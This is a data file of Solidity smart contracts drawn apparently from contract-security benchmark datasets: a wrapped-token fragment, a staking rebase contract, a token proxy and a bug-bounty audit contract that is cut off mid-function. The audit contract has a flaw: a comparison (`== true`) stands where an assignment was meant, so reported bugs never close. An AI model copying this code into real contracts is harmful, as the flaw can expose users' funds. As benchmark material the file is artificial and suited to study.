using SafeERC20 for ERC20;
using Address for address;
using SafeMath for uint;
address public immutable sDB;
constructor(address _sDB) ERC20('Wrapped sDB', 'wDB') {
require(_sDB != address(0));
sDB = _sDB;
}
function wrap(uint _amount) external returns (uint) {
IERC20(sDB).transferFrom(msg.sender, address(this), _amount);
uint value = sDBTowDB(_amount);
_mint(msg.sender, value);
return value;
}
function unwrap(uint _amount) external returns (uint) {
_burn(msg.sender, _amount);
uint value = wDBTosDB(_amount);
IERC20(sDB).transfer(msg.sender, value);
return value;
}
function wDBTosDB(uint _amount) public view returns (uint) {
return _amount.mul(ISDB(sDB).index()).div(10 ** decimals());
}
function sDBTowDB(uint _amount) public view returns (uint) {
return _amount.mul(10 ** decimals()).div(ISDB(sDB).index());
}
}
| 129,494 | 11,296 |
74101ac05e325f99928a332d49937609542de2c04c899500555593f92a381051
| 27,371 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/5a/5a0f783cc164ceb40be5c6664555ff1fd158b4e6_TimeStaking.sol
| 4,198 | 16,940 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IMemo {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract TimeStaking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable Time;
address public immutable Memories;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _Time,
address _Memories,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Time != address(0));
Time = _Time;
require(_Memories != address(0));
Memories = _Memories;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(Time).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IMemo(Memories).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(Memories).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IMemo(Memories).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IMemo(Memories).balanceForGons(info.gons));
IERC20(Time).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(Memories).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(Time).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IMemo(Memories).index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
IMemo(Memories).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IMemo(Memories).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(Time).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(Memories).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(Memories).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 115,897 | 11,297 |
1184ccada650e7eaf22c8d12b0ca5defcdeda67214964c80d1528efd3979a47f
| 12,417 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0xeb5edbcac774565a6f6cdf7235c0c4cf68262224.sol
| 3,037 | 12,037 |
pragma solidity 0.4.23;
contract EToken2Interface {
function baseUnit(bytes32 _symbol) constant returns(uint8);
function name(bytes32 _symbol) constant returns(string);
function description(bytes32 _symbol) constant returns(string);
function owner(bytes32 _symbol) constant returns(address);
function isOwner(address _owner, bytes32 _symbol) constant returns(bool);
function totalSupply(bytes32 _symbol) constant returns(uint);
function balanceOf(address _holder, bytes32 _symbol) constant returns(uint);
function proxyTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) returns(bool);
function proxyApprove(address _spender, uint _value, bytes32 _symbol, address _sender) returns(bool);
function allowance(address _from, address _spender, bytes32 _symbol) constant returns(uint);
function proxyTransferFromWithReference(address _from, address _to, uint _value, bytes32 _symbol, string _reference, address _sender) returns(bool);
}
contract AssetInterface {
function _performTransferWithReference(address _to, uint _value, string _reference, address _sender) public returns(bool);
function _performTransferToICAPWithReference(bytes32 _icap, uint _value, string _reference, address _sender) public returns(bool);
function _performApprove(address _spender, uint _value, address _sender) public returns(bool);
function _performTransferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) public returns(bool);
function _performTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) public returns(bool);
function _performGeneric(bytes, address) public payable {
revert();
}
}
contract ERC20Interface {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed from, address indexed spender, uint256 value);
function totalSupply() public view returns(uint256 supply);
function balanceOf(address _owner) public view returns(uint256 balance);
function transfer(address _to, uint256 _value) public returns(bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns(bool success);
function approve(address _spender, uint256 _value) public returns(bool success);
function allowance(address _owner, address _spender) public view returns(uint256 remaining);
function decimals() public view returns(uint8);
}
contract AssetProxyInterface is ERC20Interface {
function _forwardApprove(address _spender, uint _value, address _sender) public returns(bool);
function _forwardTransferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) public returns(bool);
function _forwardTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) public returns(bool);
function recoverTokens(ERC20Interface _asset, address _receiver, uint _value) public returns(bool);
function etoken2() public pure returns(address) {}
function etoken2Symbol() public pure returns(bytes32) {}
}
contract Bytes32 {
function _bytes32(string _input) internal pure returns(bytes32 result) {
assembly {
result := mload(add(_input, 32))
}
}
}
contract ReturnData {
function _returnReturnData(bool _success) internal pure {
assembly {
let returndatastart := 0
returndatacopy(returndatastart, 0, returndatasize)
switch _success case 0 { revert(returndatastart, returndatasize) } default { return(returndatastart, returndatasize) }
}
}
function _assemblyCall(address _destination, uint _value, bytes _data) internal returns(bool success) {
assembly {
success := call(gas, _destination, _value, add(_data, 32), mload(_data), 0, 0)
}
}
}
contract Cointribution is ERC20Interface, AssetProxyInterface, Bytes32, ReturnData {
EToken2Interface public etoken2;
bytes32 public etoken2Symbol;
string public name;
string public symbol;
function init(EToken2Interface _etoken2, string _symbol, string _name) public returns(bool) {
if (address(etoken2) != 0x0) {
return false;
}
etoken2 = _etoken2;
etoken2Symbol = _bytes32(_symbol);
name = _name;
symbol = _symbol;
return true;
}
modifier onlyEToken2() {
if (msg.sender == address(etoken2)) {
_;
}
}
modifier onlyAssetOwner() {
if (etoken2.isOwner(msg.sender, etoken2Symbol)) {
_;
}
}
function _getAsset() internal view returns(AssetInterface) {
return AssetInterface(getVersionFor(msg.sender));
}
function recoverTokens(ERC20Interface _asset, address _receiver, uint _value) public onlyAssetOwner() returns(bool) {
return _asset.transfer(_receiver, _value);
}
function totalSupply() public view returns(uint) {
return etoken2.totalSupply(etoken2Symbol);
}
function balanceOf(address _owner) public view returns(uint) {
return etoken2.balanceOf(_owner, etoken2Symbol);
}
function allowance(address _from, address _spender) public view returns(uint) {
return etoken2.allowance(_from, _spender, etoken2Symbol);
}
function decimals() public view returns(uint8) {
return etoken2.baseUnit(etoken2Symbol);
}
function transfer(address _to, uint _value) public returns(bool) {
return transferWithReference(_to, _value, '');
}
function transferWithReference(address _to, uint _value, string _reference) public returns(bool) {
return _getAsset()._performTransferWithReference(_to, _value, _reference, msg.sender);
}
function transferToICAP(bytes32 _icap, uint _value) public returns(bool) {
return transferToICAPWithReference(_icap, _value, '');
}
function transferToICAPWithReference(bytes32 _icap, uint _value, string _reference) public returns(bool) {
return _getAsset()._performTransferToICAPWithReference(_icap, _value, _reference, msg.sender);
}
function transferFrom(address _from, address _to, uint _value) public returns(bool) {
return transferFromWithReference(_from, _to, _value, '');
}
function transferFromWithReference(address _from, address _to, uint _value, string _reference) public returns(bool) {
return _getAsset()._performTransferFromWithReference(_from, _to, _value, _reference, msg.sender);
}
function _forwardTransferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) public onlyImplementationFor(_sender) returns(bool) {
return etoken2.proxyTransferFromWithReference(_from, _to, _value, etoken2Symbol, _reference, _sender);
}
function transferFromToICAP(address _from, bytes32 _icap, uint _value) public returns(bool) {
return transferFromToICAPWithReference(_from, _icap, _value, '');
}
function transferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference) public returns(bool) {
return _getAsset()._performTransferFromToICAPWithReference(_from, _icap, _value, _reference, msg.sender);
}
function _forwardTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) public onlyImplementationFor(_sender) returns(bool) {
return etoken2.proxyTransferFromToICAPWithReference(_from, _icap, _value, _reference, _sender);
}
function approve(address _spender, uint _value) public returns(bool) {
return _getAsset()._performApprove(_spender, _value, msg.sender);
}
function _forwardApprove(address _spender, uint _value, address _sender) public onlyImplementationFor(_sender) returns(bool) {
return etoken2.proxyApprove(_spender, _value, etoken2Symbol, _sender);
}
function emitTransfer(address _from, address _to, uint _value) public onlyEToken2() {
emit Transfer(_from, _to, _value);
}
function emitApprove(address _from, address _spender, uint _value) public onlyEToken2() {
emit Approval(_from, _spender, _value);
}
function () public payable {
_getAsset()._performGeneric.value(msg.value)(msg.data, msg.sender);
_returnReturnData(true);
}
function transferToICAP(string _icap, uint _value) public returns(bool) {
return transferToICAPWithReference(_icap, _value, '');
}
function transferToICAPWithReference(string _icap, uint _value, string _reference) public returns(bool) {
return transferToICAPWithReference(_bytes32(_icap), _value, _reference);
}
function transferFromToICAP(address _from, string _icap, uint _value) public returns(bool) {
return transferFromToICAPWithReference(_from, _icap, _value, '');
}
function transferFromToICAPWithReference(address _from, string _icap, uint _value, string _reference) public returns(bool) {
return transferFromToICAPWithReference(_from, _bytes32(_icap), _value, _reference);
}
event UpgradeProposed(address newVersion);
event UpgradePurged(address newVersion);
event UpgradeCommited(address newVersion);
event OptedOut(address sender, address version);
event OptedIn(address sender, address version);
address internal latestVersion;
address internal pendingVersion;
uint internal pendingVersionTimestamp;
uint constant UPGRADE_FREEZE_TIME = 3 days;
mapping(address => address) internal userOptOutVersion;
modifier onlyImplementationFor(address _sender) {
if (getVersionFor(_sender) == msg.sender) {
_;
}
}
function getVersionFor(address _sender) public view returns(address) {
return userOptOutVersion[_sender] == 0 ? latestVersion : userOptOutVersion[_sender];
}
function getLatestVersion() public view returns(address) {
return latestVersion;
}
function getPendingVersion() public view returns(address) {
return pendingVersion;
}
function getPendingVersionTimestamp() public view returns(uint) {
return pendingVersionTimestamp;
}
function proposeUpgrade(address _newVersion) public onlyAssetOwner() returns(bool) {
if (pendingVersion != 0x0) {
return false;
}
if (_newVersion == 0x0) {
return false;
}
if (latestVersion == 0x0) {
latestVersion = _newVersion;
return true;
}
pendingVersion = _newVersion;
pendingVersionTimestamp = now;
emit UpgradeProposed(_newVersion);
return true;
}
function purgeUpgrade() public onlyAssetOwner() returns(bool) {
if (pendingVersion == 0x0) {
return false;
}
emit UpgradePurged(pendingVersion);
delete pendingVersion;
delete pendingVersionTimestamp;
return true;
}
function commitUpgrade() public returns(bool) {
if (pendingVersion == 0x0) {
return false;
}
if (pendingVersionTimestamp + UPGRADE_FREEZE_TIME > now) {
return false;
}
latestVersion = pendingVersion;
delete pendingVersion;
delete pendingVersionTimestamp;
emit UpgradeCommited(latestVersion);
return true;
}
function optOut() public returns(bool) {
if (userOptOutVersion[msg.sender] != 0x0) {
return false;
}
userOptOutVersion[msg.sender] = latestVersion;
emit OptedOut(msg.sender, latestVersion);
return true;
}
function optIn() public returns(bool) {
delete userOptOutVersion[msg.sender];
emit OptedIn(msg.sender, latestVersion);
return true;
}
function multiAsset() public view returns(EToken2Interface) {
return etoken2;
}
}
| 163,826 | 11,298 |
89601140d69fdae40c80611837cd671c49ea21f9d1d0c1e6023dd31b29a6825b
| 16,124 |
.sol
|
Solidity
| false |
593908510
|
SKKU-SecLab/SmartMark
|
fdf0675d2f959715d6f822351544c6bc91a5bdd4
|
dataset/Solidity_codes_9324/0x777defe54a17c2a2534e05961e38556f93c56a35.sol
| 3,953 | 16,021 |
pragma solidity 0.5.16;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract BanqAudit {
using SafeMath for uint256;
struct Audit {
address owner;
string link;
uint256 balance;
uint256[4] rewards;
uint256 reportIndex;
uint256[] reports;
address[] validated;
bool closed;
}
struct Report {
address owner;
bytes32 auditid;
bytes32 reportid;
string link;
uint256 totalrisk;
uint256[10] bugs;
uint256[10] bugrisk;
uint256[10] bugreview;
bool[10] bugclosed;
uint256 reportstatus;
uint256 payout;
}
uint256 public totalRewardAvailable;
uint256 public totalPendingPayout;
uint256 public totalReliability_auditee;
uint256 public totalReliability_auditor;
mapping (address => uint256) public reliability_auditee;
mapping (address => uint256) public reliability_auditor;
uint256 public indexTotal;
uint256 public indexPending;
mapping (bytes32 => Audit) public audits;
mapping (uint256 => bytes32) public index_audit;
mapping (bytes32 => uint256) public audit_index;
mapping (uint256 => uint256) public total_pending;
mapping (uint256 => uint256) public pending_total;
uint256 public indexReports;
mapping (uint256 => Report) public reports;
address payable public dev;
event AuditRequest(bytes32 _contracthash, uint256 _rewardtotal, address owner);
event ReportSubmit(bytes32 _contracthash, bytes32 _reporthash, uint256 _reportid, uint256 _risktotal, address owner);
event VerifiedReport(bytes32 _contracthash, uint256 _reportid, uint256 _amountreview, uint256 _points, bool received);
event ClosedReport(bytes32 _contracthash, uint256 _reportid, uint256 _payout);
event ClosedAudit(bytes32 _contracthash, uint256 _amountleft);
constructor() public {
dev = msg.sender;
}
function() external payable {}
function changeDev(address payable _dev) external returns (bool) {
require(msg.sender == dev, "change developer: not the current developer");
dev = _dev;
}
function getAuditData(bytes32 _contracthash) public view returns (uint256[4] memory) {
return audits[_contracthash].rewards;
}
function getAuditReports(bytes32 _contracthash) public view returns (uint256[] memory) {
return audits[_contracthash].reports;
}
function getAuditValidators(bytes32 _contracthash) public view returns (address[] memory) {
return audits[_contracthash].validated;
}
function getReportData(uint256 _indexReports, uint256 id) public view returns (uint256[10] memory) {
if (id == 0) {
return reports[_indexReports].bugs;
}
if (id == 1) {
return reports[_indexReports].bugrisk;
}
if (id == 2) {
return reports[_indexReports].bugreview;
}
}
function RequestAudit(bytes32 _contracthash, string memory _link, uint256[4] memory _rewards) public payable returns (bool success) {
uint256[] memory emptyarray;
address[] memory emptyaddress;
uint256 totalRewards = _rewards[0].add(_rewards[1]).add(_rewards[2]).add(_rewards[3]);
uint256 deposit_multiplier = msg.value.div(totalRewards);
uint256 total = totalRewards.mul(deposit_multiplier);
uint256 fee = total.div(1000).mul(3);
uint256 amount = msg.value.sub(fee);
require(audits[_contracthash].owner == address(0), "request audit: audit is non empty");
require(msg.value != 0, "request audit: no reward added");
require(amount.mod(totalRewards) == 0, "request audit: msg.value not equal to rewards");
require(_rewards[0].mod(_rewards[1]) == 0, "request audit: critical reward is not multiple of high reward");
require(_rewards[1].mod(_rewards[2]) == 0, "request audit: high reward is not multiple of medium reward");
require(_rewards[2].mod(_rewards[3]) == 0, "request audit: critical medium is not multiple of low reward");
totalRewardAvailable = totalRewardAvailable.add(amount);
audits[_contracthash] = Audit({owner: msg.sender,
link: _link,
balance: amount,
rewards: _rewards,
reportIndex: 0,
reports: emptyarray,
validated: emptyaddress,
closed: false
});
index_audit[indexTotal] = _contracthash;
audit_index[_contracthash] = indexTotal;
total_pending[indexTotal] = indexPending;
pending_total[indexPending] = indexTotal;
indexTotal = indexTotal.add(1);
indexPending = indexPending.add(1);
dev.transfer(fee);
emit AuditRequest(_contracthash, totalRewards, msg.sender);
return true;
}
function depositAudit(bytes32 _contracthash) public payable returns (bool success) {
uint256 minimum = audits[_contracthash].rewards[3];
uint256 deposit_multiplier = msg.value.div(minimum);
uint256 total = minimum.mul(deposit_multiplier);
uint256 fee = total.div(1000).mul(3);
uint256 amount = msg.value.sub(fee);
require(!audits[_contracthash].closed, "deposit audit: audit is closed");
require(msg.value != 0, "request audit: no reward added");
require(amount.mod(minimum) == 0, "deposit audit: msg.value not multiple of minimum reward");
totalRewardAvailable = totalRewardAvailable.add(amount);
audits[_contracthash].balance = audits[_contracthash].balance.add(amount);
dev.transfer(fee);
return true;
}
function SubmitReport(bytes32 _contracthash, bytes32 _reporthash, string memory _link, uint256[10] memory _bugID, uint256[10] memory _bugClaim) public returns (bool success) {
require(!audits[_contracthash].closed, "submit report: audit is closed");
require(audits[_contracthash].owner != msg.sender, "submit report: auditor and auditee are the same");
uint256[10] memory emptyarray;
bool[10] memory emptyarray1;
uint256 totalrisk;
for (uint256 i = 0; i < 10; i++) {
require(_bugClaim[i] < 5);
totalrisk = totalrisk.add(_bugClaim[i]);
}
audits[_contracthash].reportIndex = audits[_contracthash].reportIndex.add(1);
reports[indexReports] = Report({owner: msg.sender,
link: _link,
auditid: _contracthash,
reportid: _reporthash,
totalrisk: totalrisk,
bugs: _bugID,
bugrisk: _bugClaim,
bugreview: emptyarray,
bugclosed: emptyarray1,
reportstatus: 1,
payout: 0
});
audits[_contracthash].reports.push(indexReports);
indexReports = indexReports.add(1);
emit ReportSubmit(_contracthash, _reporthash, indexReports, totalrisk, msg.sender);
return true;
}
function VerifyReport(uint256 _reportID, uint256[10] memory _bugClaim, uint256 addition, bool received) public returns (bool success) {
address auditor = reports[_reportID].owner;
bytes32 _contracthash = reports[_reportID].auditid;
require(audits[_contracthash].owner == msg.sender, "verify report: not the owner of the audit");
require(reports[_reportID].reportstatus == 1, "verify report: report is not status 1");
reports[_reportID].bugreview = _bugClaim;
uint256 amountAudit;
uint256 amountReport;
for (uint256 i = 0; i < 10; i++) {
require(_bugClaim[i] < 5);
if (reports[_reportID].bugrisk[i] != 0 && reports[_reportID].bugclosed[i] != true) {
reports[_reportID].bugclosed[i] == true;
if (reports[_reportID].bugreview[i] != 0) {
uint256 riskReview = reports[_reportID].bugreview[i].sub(1);
amountAudit = amountAudit.add(audits[_contracthash].rewards[riskReview]);
}
uint256 riskReport = reports[_reportID].bugrisk[i].sub(1);
amountReport = amountReport.add(audits[_contracthash].rewards[riskReport]);
}
}
if (addition > 0) {
require(addition < 5);
uint256 index = addition.sub(1);
amountAudit = amountAudit.add(audits[_contracthash].rewards[index]);
}
uint256 points;
if (received == false) {
reports[_reportID].reportstatus = 3;
points = amountReport.div(10**16);
if (reliability_auditor[reports[_reportID].owner] > points) {
totalReliability_auditor = totalReliability_auditor.sub(points);
reliability_auditor[reports[_reportID].owner] = reliability_auditor[reports[_reportID].owner].sub(points);
} else {
totalReliability_auditor = totalReliability_auditor.sub(reliability_auditor[reports[_reportID].owner]);
reliability_auditor[reports[_reportID].owner] = 0;
}
} else {
points = amountAudit.div(10**16);
reports[_reportID].reportstatus = 2;
totalReliability_auditor = totalReliability_auditor.add(points);
reliability_auditor[auditor] = reliability_auditor[auditor].add(points);
totalReliability_auditee = totalReliability_auditee.add(points);
reliability_auditee[msg.sender] = reliability_auditee[msg.sender].add(points);
totalRewardAvailable = totalRewardAvailable.sub(amountAudit);
totalPendingPayout = totalPendingPayout.add(amountAudit);
audits[_contracthash].balance = audits[_contracthash].balance.sub(amountAudit);
reports[_reportID].payout = reports[_reportID].payout.add(amountAudit);
}
emit VerifiedReport(_contracthash, _reportID, amountAudit, points, received);
return true;
}
function ClaimResponse(uint256 _reportID, bool agreed) public returns (bool success) {
bytes32 _contracthash = reports[_reportID].auditid;
require(reports[_reportID].reportstatus == 2, "claim report: report is not status 2");
